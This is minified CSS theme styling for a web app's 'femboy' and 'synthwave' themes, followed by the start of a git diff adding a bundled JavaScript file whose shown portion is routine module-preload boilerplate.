.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#ff9ec4}.femboy-theme .custom-scrollbar{scrollbar-color:#ffb8d4 transparent}.femboy-theme .form-input{background-color:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .form-input:focus{border-color:var(--fem-accent)!important;--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-card{background:var(--fem-panel)!important;border-color:var(--fem-border)!important}.femboy-theme .auth-card:hover{border-color:#ff69b426!important}.femboy-theme .auth-corner-tl,.femboy-theme .auth-corner-tr,.femboy-theme .auth-corner-bl,.femboy-theme .auth-corner-br{border-color:#ff69b480!important}.femboy-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(255,105,180,.3) 20%,rgba(255,105,180,.5) 50%,rgba(255,105,180,.3) 80%,transparent 100%)!important;box-shadow:0 0 8px #ff69b426!important}.femboy-theme .auth-input{background:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .auth-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input:focus{border-color:#ff69b4!important;box-shadow:0 0 0 3px #ff69b426,inset 0 0 12px #ff69b40d!important}.femboy-theme .auth-input-wrap:focus-within:before{background:var(--fem-accent)!important;box-shadow:0 0 8px #ff69b466!important}.femboy-theme .auth-submit{background:linear-gradient(135deg,#d4508f,#ff69b4,#ff8cc8)!important}.femboy-theme .auth-status-dot{background:var(--fem-accent)!important}.femboy-theme .auth-badge-glow{box-shadow:0 0 4px #ff69b41a,inset 0 0 4px #ff69b40d!important;border-color:#ff69b44d!important}.femboy-theme nav a{transition:transform .2s cubic-bezier(.34,1.56,.64,1),color .15s,background-color .15s!important}.femboy-theme nav a:hover{transform:translate(3px) scale(1.02)}.femboy-logo-glow{text-shadow:0 0 10px rgba(255,105,180,.4),0 0 20px rgba(255,105,180,.15)}.femboy-ear{position:absolute;width:0;height:0;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:16px solid #ff69b4;filter:drop-shadow(0 0 6px rgba(255,105,180,.5));z-index:10}.femboy-ear:after{content:"";position:absolute;top:4px;left:-5px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:9px solid #ff1493}.femboy-ear-left{top:-14px;left:-2px;transform:rotate(-12deg)}.femboy-ear-right{top:-14px;left:32px;transform:rotate(12deg)}@keyframes floatPaw{0%{transform:translateY(0) rotate(0) scale(1);opacity:0}8%{opacity:.35}50%{transform:translateY(-50vh) rotate(90deg) scale(.85);opacity:.2}92%{opacity:0}to{transform:translateY(-105vh) rotate(200deg) scale(.5);opacity:0}}.femboy-paw{position:fixed;bottom:-40px;pointer-events:none;z-index:9999;animation:floatPaw linear infinite;will-change:transform,opacity}@keyframes femConfetti{0%{transform:translate(0) rotate(0) scale(1);opacity:1}70%{opacity:.8}to{transform:translate(var(--fem-dx),var(--fem-dy)) rotate(var(--fem-rot)) scale(.2);opacity:0}}@keyframes femSpark{0%{transform:scale(0) rotate(0);opacity:1}40%{transform:scale(1.2) rotate(120deg);opacity:.9}to{transform:scale(0) rotate(360deg);opacity:0}}.femboy-sparkle{position:fixed;clip-path:polygon(50% 0%,61% 35%,98% 35%,68% 57%,79% 91%,50% 70%,21% 91%,32% 57%,2% 35%,39% 35%);pointer-events:none;z-index:100000;animation:femSpark .9s ease-out forwards}.femboy-theme aside{border-right-color:var(--fem-border)!important;box-shadow:2px 0 20px #ff69b414}@keyframes femBadgeShimmer{0%,to{opacity:.7}50%{opacity:1;text-shadow:0 0 6px rgba(255,105,180,.4)}}.femboy-badge{animation:femBadgeShimmer 2s ease-in-out infinite}.femboy-theme nav a .bg-zerin-accent,.femboy-theme nav a span[class*=bg-zerin-accent]{background-color:var(--fem-accent)!important}.femboy-theme .bg-\[\#09090B\]{background-color:var(--fem-bg)!important}.femboy-theme .bg-\[\#0C0C0E\]{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-\[\#111113\]{background-color:var(--fem-panel)!important}.femboy-theme .bg-\[\#04040a\]{background-color:#fff8fa!important}.femboy-theme .bg-\[\#08080c\]{background-color:var(--fem-bg)!important}.femboy-theme .border-\[\#1a1a22\],.femboy-theme .border-\[\#1F1F23\]{border-color:var(--fem-border)!important}.femboy-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--fem-border-hover)!important}@keyframes femHeartFloat{0%{transform:translate(0) scale(1) rotate(0);opacity:.9}to{transform:translate(var(--fem-hx, 0px),-40px) scale(.3) rotate(var(--fem-hr, 20deg));opacity:0}}.femboy-heart-trail{position:fixed;pointer-events:none;z-index:99998;animation:femHeartFloat .7s ease-out forwards;will-change:transform,opacity;font-size:12px;line-height:1}@keyframes femKaomojiDrift{0%{transform:translate(0) translateY(0) rotate(0);opacity:0}10%{opacity:.6}90%{opacity:.6}to{transform:translate(30px) translateY(-60px) rotate(8deg);opacity:0}}.femboy-kaomoji{position:fixed;pointer-events:none;z-index:99997;font-size:13px;color:#ff69b4;font-family:var(--font-mono),monospace;animation:femKaomojiDrift 3s ease-in-out forwards;text-shadow:0 0 8px rgba(255,105,180,.3)}.synthwave-theme{--synth-bg: #0D001A;--synth-bg-alt: #120024;--synth-panel: #1A0033;--synth-panel-hover: #24004D;--synth-border: #3D0066;--synth-border-hover: #5C0099;--synth-accent: #FF2D95;--synth-accent-hover: #FF5CAF;--synth-accent-dim: #CC0066;--synth-cyan: #00F0FF;--synth-text: #F0E6FF;--synth-text-dim: #C8A8E8;--synth-text-muted: #7B5299}.synthwave-theme,.synthwave-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E%3Cline x1='12' y1='0' x2='12' y2='9' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='12' y1='15' x2='12' y2='24' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='0' y1='12' x2='9' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='15' y1='12' x2='24' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Ccircle cx='12' cy='12' r='3' fill='none' stroke='%23FF2D95' stroke-width='1' opacity='0.9'/%3E%3C/svg%3E") 12 12,crosshair!important}.synthwave-theme ::-moz-selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme ::selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme :focus-visible{outline-color:#00f0ff99!important}.synthwave-theme body{background-color:var(--synth-bg)!important;color:var(--synth-text)!important}.synthwave-theme .bg-zerin-bg{background-color:var(--synth-bg)!important}.synthwave-theme .bg-zerin-bg-alt{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-zerin-panel{background-color:var(--synth-panel)!important}.synthwave-theme .bg-zerin-panel-hover,.synthwave-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--synth-panel-hover)!important}.synthwave-theme .bg-zerin-accent{background-color:var(--synth-accent)!important}.synthwave-theme .bg-zerin-accent-hover{background-color:var(--synth-accent-hover)!important}.synthwave-theme .bg-zerin-accent-dim{background-color:var(--synth-accent-dim)!important}.synthwave-theme .bg-zerin-accent-muted,.synthwave-theme .bg-zerin-accent-muted\/10{background-color:#ff2d951f!important}.synthwave-theme .bg-zerin-danger-dim{background-color:#ff00501a!important}.synthwave-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff00502e!important}.synthwave-theme .bg-zinc-600{background-color:#4d1a66!important}.synthwave-theme .bg-zinc-700{background-color:#3d0066!important}.synthwave-theme .bg-zinc-500{background-color:#5c2680!important}.synthwave-theme .text-zerin-text{color:var(--synth-text)!important}.synthwave-theme .text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .text-zerin-text-muted{color:var(--synth-text-muted)!important}.synthwave-theme .text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .text-zerin-accent-hover{color:var(--synth-accent-hover)!important}.synthwave-theme .text-zerin-accent-dim{color:var(--synth-accent-dim)!important}.synthwave-theme .text-zerin-danger{color:#f36!important}.synthwave-theme .text-zinc-400{color:#96c!important}.synthwave-theme .text-zinc-500{color:#7b5299!important}.synthwave-theme .text-zinc-300{color:#c8a8e8!important}.synthwave-theme .hover\:text-zerin-text:hover{color:var(--synth-text)!important}.synthwave-theme .hover\:text-zerin-text-dim:hover{color:var(--synth-text-dim)!important}.synthwave-theme .hover\:text-zerin-accent:hover{color:var(--synth-accent)!important}.synthwave-theme .hover\:text-zerin-danger:hover{color:#f36!important}.synthwave-theme .group:hover .group-hover\:text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .border-zerin-panel-border{border-color:var(--synth-border)!important}.synthwave-theme .border-zerin-panel-border-hover,.synthwave-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--synth-border-hover)!important}.synthwave-theme .border-zerin-accent{border-color:var(--synth-accent)!important}.synthwave-theme .border-zerin-accent\/20,.synthwave-theme .border-zerin-accent\/25{border-color:#ff2d9540!important}.synthwave-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff2d9559!important}.synthwave-theme .border-zinc-700{border-color:#3d0066!important}.synthwave-theme .border-zinc-800{border-color:#2a004d!important}.synthwave-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--synth-border)!important}.synthwave-theme .focus\:border-zerin-accent:focus{border-color:var(--synth-cyan)!important}.synthwave-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(0, 240, 255, .3) !important}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#5c0099}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#7b00cc}.synthwave-theme .custom-scrollbar{scrollbar-color:#5C0099 transparent}.synthwave-theme .form-input{background-color:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan)!important;--tw-ring-color: rgba(0, 240, 255, .25) !important;box-shadow:0 0 0 3px #00f0ff1a,0 0 12px #00f0ff0d!important}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-card{background:var(--synth-panel)!important;border-color:var(--synth-border)!important;box-shadow:0 0 30px #ff2d9514,0 0 60px #00f0ff0a!important}.synthwave-theme .auth-card:hover{border-color:#ff2d9540!important}.synthwave-theme .auth-corner-tl,.synthwave-theme .auth-corner-tr{border-color:#00f0ff99!important}.synthwave-theme .auth-corner-bl,.synthwave-theme .auth-corner-br{border-color:#ff2d9599!important}.synthwave-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(0,240,255,.3) 20%,rgba(255,45,149,.5) 50%,rgba(0,240,255,.3) 80%,transparent 100%)!important;box-shadow:0 0 12px #ff2d9533!important}.synthwave-theme .auth-input{background:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .auth-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input:focus{border-color:var(--synth-cyan)!important;box-shadow:0 0 0 3px #00f0ff1f,inset 0 0 12px #00f0ff08!important}.synthwave-theme .auth-input-wrap:focus-within:before{background:var(--synth-cyan)!important;box-shadow:0 0 8px #00f0ff80!important}.synthwave-theme .auth-submit{background:linear-gradient(135deg,#c06,#ff2d95,#b026ff)!important}.synthwave-theme .auth-status-dot{background:var(--synth-cyan)!important}.synthwave-theme .auth-badge-glow{box-shadow:0 0 4px #00f0ff26,inset 0 0 4px #00f0ff0d!important;border-color:#00f0ff4d!important}.synthwave-theme aside{border-right-color:var(--synth-border)!important;box-shadow:2px 0 30px #ff2d951a,1px 0 #ff2d9533!important}.synthwave-theme nav a{transition:all .2s ease!important;position:relative}.synthwave-theme nav a:hover{text-shadow:0 0 8px rgba(255,45,149,.4)}.synthwave-theme nav a span[class*=bg-zerin-accent]{background-color:var(--synth-accent)!important;box-shadow:0 0 8px #ff2d9580}.synthwave-theme .border-zerin-panel-border{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.text-zerin-text,.synthwave-theme .font-display.text-lg{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}@keyframes synthBadgePulse{0%,to{text-shadow:0 0 4px rgba(0,240,255,.4);border-color:#00f0ff40}50%{text-shadow:0 0 10px rgba(0,240,255,.7);border-color:#00f0ff80}}.synthwave-theme .font-display .font-mono,.synthwave-theme span[class*=text-zerin-accent][class*=border]{color:var(--synth-cyan)!important;border-color:#00f0ff40!important;animation:synthBadgePulse 2.5s ease-in-out infinite}.synthwave-theme main.custom-scrollbar{background:linear-gradient(180deg,var(--synth-bg) 0%,#120024 100%),repeating-linear-gradient(90deg,rgba(255,45,149,.03) 0px,rgba(255,45,149,.03) 1px,transparent 1px,transparent 60px),repeating-linear-gradient(0deg,rgba(0,240,255,.02) 0px,rgba(0,240,255,.02) 1px,transparent 1px,transparent 60px)!important}.synthwave-theme .bg-\[\#09090B\]{background-color:var(--synth-bg)!important}.synthwave-theme .bg-\[\#0C0C0E\]{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-\[\#111113\]{background-color:var(--synth-panel)!important}.synthwave-theme .bg-\[\#04040a\]{background-color:#08001a!important}.synthwave-theme .bg-\[\#08080c\]{background-color:var(--synth-bg)!important}.synthwave-theme .border-\[\#1a1a22\],.synthwave-theme .border-\[\#1F1F23\]{border-color:var(--synth-border)!important}.synthwave-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--synth-border-hover)!important}.synthwave-logo-glow{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff 60%,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 10px rgba(255,45,149,.5)) drop-shadow(0 0 20px rgba(0,240,255,.3))}@keyframes synthBadgeGlow{0%,to{text-shadow:0 0 4px rgba(0,240,255,.5);box-shadow:0 0 4px #00f0ff1a,inset 0 0 4px #00f0ff0d}50%{text-shadow:0 0 10px rgba(0,240,255,.8);box-shadow:0 0 10px #00f0ff33,inset 0 0 6px #00f0ff1a}}.synthwave-badge{animation:synthBadgeGlow 2s ease-in-out infinite}@keyframes synthBurstLine{0%{opacity:0;transform:scaleX(0)}40%{opacity:1;transform:scaleX(1.1)}to{opacity:0;transform:scaleX(1)}}@keyframes synthBurstParticle{0%{transform:translate(0) scale(1);opacity:1}to{transform:translate(var(--synth-dx),var(--synth-dy)) scale(0);opacity:0}}@keyframes synthTrailFade{0%{transform:scale(1);opacity:.8}to{transform:scale(0);opacity:0}}.synthwave-trail{position:fixed;width:4px;height:4px;border-radius:50%;pointer-events:none;z-index:99998;animation:synthTrailFade .45s ease-out forwards;will-change:transform,opacity;margin-left:-2px;margin-top:-2px}@keyframes synthShapeFloat{0%{transform:translateY(0) rotate(0);opacity:0}10%{opacity:.3}50%{transform:translateY(-45vh) rotate(180deg);opacity:.15}to{transform:translateY(-100vh) rotate(360deg);opacity:0}}.synthwave-shape{position:fixed;bottom:-30px;pointer-events:none;z-index:9998;animation:synthShapeFloat 5.5s ease-in-out forwards;will-change:transform,opacity}.synthwave-theme aside:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;background:repeating-linear-gradient(0deg,transparent 0px,transparent 3px,rgba(0,240,255,.015) 3px,rgba(0,240,255,.015) 4px);z-index:1}.placeholder\:text-zerin-text-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.placeholder\:text-zerin-text-muted::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:translate-x-0\.5:hover{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.hover\:border-zerin-accent\/20:hover{border-color:#06b6d433}.hover\:border-zerin-accent\/30:hover{border-color:#06b6d44d}.hover\:border-zerin-accent\/40:hover{border-color:#06b6d466}.hover\:border-zerin-accent\/50:hover{border-color:#06b6d480}.hover\:border-zerin-panel-border-hover:hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted:hover{--tw-border-opacity: 1;border-color:rgb(82 82 91 / var(--tw-border-opacity, 1))}.hover\:bg-\[\#14141a\]:hover{--tw-bg-opacity: 1;background-color:rgb(20 20 26 / var(--tw-bg-opacity, 1))}.hover\:bg-\[\#1f1f25\]:hover{--tw-bg-opacity: 1;background-color:rgb(31 31 37 / var(--tw-bg-opacity, 1))}.hover\:bg-amber-700:hover{--tw-bg-opacity: 1;background-color:rgb(180 83 9 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500:hover{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500\/10:hover{background-color:#10b9811a}.hover\:bg-emerald-700:hover{--tw-bg-opacity: 1;background-color:rgb(4 120 87 / var(--tw-bg-opacity, 1))}.hover\:bg-orange-500\/15:hover{background-color:#f9731626}.hover\:bg-orange-500\/20:hover{background-color:#f9731633}.hover\:bg-orange-600:hover{--tw-bg-opacity: 1;background-color:rgb(234 88 12 / var(--tw-bg-opacity, 1))}.hover\:bg-purple-500\/10:hover{background-color:#a855f71a}.hover\:bg-purple-700:hover{--tw-bg-opacity: 1;background-color:rgb(126 34 206 / var(--tw-bg-opacity, 1))}.hover\:bg-red-500\/10:hover{background-color:#ef44441a}.hover\:bg-red-500\/15:hover{background-color:#ef444426}.hover\:bg-red-500\/20:hover{background-color:#ef444433}.hover\:bg-red-600:hover{--tw-bg-opacity: 1;background-color:rgb(220 38 38 / var(--tw-bg-opacity, 1))}.hover\:bg-white\/10:hover{background-color:#ffffff1a}.hover\:bg-zerin-accent-hover:hover{--tw-bg-opacity: 1;background-color:rgb(34 211 238 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-accent-muted:hover,.hover\:bg-zerin-accent\/10:hover{background-color:#06b6d41a}.hover\:bg-zerin-accent\/15:hover{background-color:#06b6d426}.hover\:bg-zerin-accent\/20:hover{background-color:#06b6d433}.hover\:bg-zerin-accent\/90:hover{background-color:#06b6d4e6}.hover\:bg-zerin-bg:hover{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-danger-dim:hover{background-color:#ef444414}.hover\:bg-zerin-danger\/20:hover{background-color:#ef444433}.hover\:bg-zerin-panel-hover:hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.hover\:bg-zinc-700:hover{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.hover\:text-amber-400:hover{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.hover\:text-orange-300:hover{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.hover\:text-red-200:hover{--tw-text-opacity: 1;color:rgb(254 202 202 / var(--tw-text-opacity, 1))}.hover\:text-red-300:hover{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.hover\:text-red-400:hover{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent:hover{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent-hover:hover{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent\/80:hover{color:#06b6d4cc}.hover\:text-zerin-danger:hover{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text:hover{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-dim:hover{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-muted:hover{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.hover\:opacity-60:hover{opacity:.6}.hover\:opacity-80:hover{opacity:.8}.hover\:shadow-\[0_0_20px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 20px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_30px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 30px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 30px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.25\)\]:hover{--tw-shadow: 0 0 40px rgba(6,182,212,.25);--tw-shadow-colored: 0 0 40px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.focus\:border-\[\#10b981\]\/30:focus{border-color:#10b9814d}.focus\:border-\[\#8b5cf6\]\/30:focus{border-color:#8b5cf64d}.focus\:border-\[\#f59e0b\]\/30:focus{border-color:#f59e0b4d}.focus\:border-zerin-accent:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.focus\:border-zerin-accent\/30:focus{border-color:#06b6d44d}.focus\:border-zerin-accent\/50:focus{border-color:#06b6d480}.focus\:border-zerin-danger:focus{--tw-border-opacity: 1;border-color:rgb(239 68 68 / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-zerin-accent\/20:focus{--tw-ring-color: rgb(6 182 212 / .2)}.focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgb(6 182 212 / .3)}.focus\:ring-zerin-danger\/20:focus{--tw-ring-color: rgb(239 68 68 / .2)}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:cursor-wait:disabled{cursor:wait}.disabled\:opacity-30:disabled{opacity:.3}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:w-4{width:1rem}.group:hover .group-hover\:w-full{width:100%}.group\/btn:hover .group-hover\/btn\:translate-x-full,.group:hover .group-hover\:translate-x-full{--tw-translate-x: 100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:scale-\[1\.02\]{--tw-scale-x: 1.02;--tw-scale-y: 1.02;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:border-zerin-accent\/20{border-color:#06b6d433}.group:hover .group-hover\:border-zerin-accent\/30{border-color:#06b6d44d}.group:hover .group-hover\:border-zerin-accent\/50{border-color:#06b6d480}.group:hover .group-hover\:bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.group:hover .group-hover\:bg-zerin-text-muted\/60{background-color:#52525b99}.group:hover .group-hover\:text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:opacity-100{opacity:1}@media (min-width: 640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:text-5xl{font-size:3rem;line-height:1}.sm\:text-6xl{font-size:3.75rem;line-height:1}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media (min-width: 768px){.md\:h-36{height:9rem}.md\:w-36{width:9rem}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.md\:text-4xl{font-size:2.25rem;line-height:2.5rem}.md\:text-5xl{font-size:3rem;line-height:1}.md\:text-6xl{font-size:3.75rem;line-height:1}.md\:text-7xl{font-size:4.5rem;line-height:1}.md\:text-xl{font-size:1.25rem;line-height:1.75rem}}@media (min-width: 1024px){.lg\:col-span-5{grid-column:span 5 / span 5}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-\[1fr_380px\]{grid-template-columns:1fr 380px}.lg\:pt-2{padding-top:.5rem}.lg\:text-8xl{font-size:6rem;line-height:1}}@media (min-width: 1280px){.xl\:col-span-4{grid-column:span 4 / span 4}.xl\:col-span-8{grid-column:span 8 / span 8}.xl\:block{display:block}.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}@media (min-width: 1536px){.\32xl\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.\[\&\:\:-moz-range-thumb\]\:h-3::-moz-range-thumb{height:.75rem}.\[\&\:\:-moz-range-thumb\]\:w-3::-moz-range-thumb{width:.75rem}.\[\&\:\:-moz-range-thumb\]\:cursor-pointer::-moz-range-thumb{cursor:pointer}.\[\&\:\:-moz-range-thumb\]\:border-0::-moz-range-thumb{border-width:0px}.\[\&\:\:-moz-range-thumb\]\:bg-zerin-accent::-moz-range-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.\[\&\:\:-webkit-inner-spin-button\]\:appearance-none::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-outer-spin-button\]\:appearance-none::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:h-3::-webkit-slider-thumb{height:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:w-3::-webkit-slider-thumb{width:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:cursor-pointer::-webkit-slider-thumb{cursor:pointer}.\[\&\:\:-webkit-slider-thumb\]\:appearance-none::-webkit-slider-thumb{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:bg-zerin-accent::-webkit-slider-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))} diff --git a/dist/assets/index-BRc-cqBN.js b/dist/assets/index-BRc-cqBN.js new file mode 100755 index 0000000..969e9f0 --- /dev/null +++ b/dist/assets/index-BRc-cqBN.js @@ -0,0 +1,508 @@ +var fS=Object.defineProperty;var mS=(e,t,n)=>t in e?fS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Pf=(e,t,n)=>mS(e,typeof t!="symbol"?t+"":t,n);function pS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return 